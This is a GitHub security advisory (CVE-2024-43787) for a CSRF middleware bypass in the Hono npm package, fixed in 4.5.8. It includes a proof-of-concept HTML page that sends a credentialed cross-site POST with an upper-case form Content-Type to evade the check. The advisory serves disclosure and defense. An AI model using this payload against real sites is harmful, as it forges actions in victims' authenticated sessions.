Skip to content

Hono CSRF middleware can be bypassed using crafted Content-Type header

Moderate severity GitHub Reviewed Published Aug 22, 2024 in honojs/hono • Updated Aug 22, 2024

Package

npm hono (npm)

Affected versions

< 4.5.8

Patched versions

4.5.8

Description

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

References

@yusukebe yusukebe published to honojs/hono Aug 22, 2024
Published by the National Vulnerability Database Aug 22, 2024
Published to the GitHub Advisory Database Aug 22, 2024
Reviewed Aug 22, 2024
Last updated Aug 22, 2024

Severity

Moderate

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-43787

GHSA ID

GHSA-rpfr-3m35-5vx5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.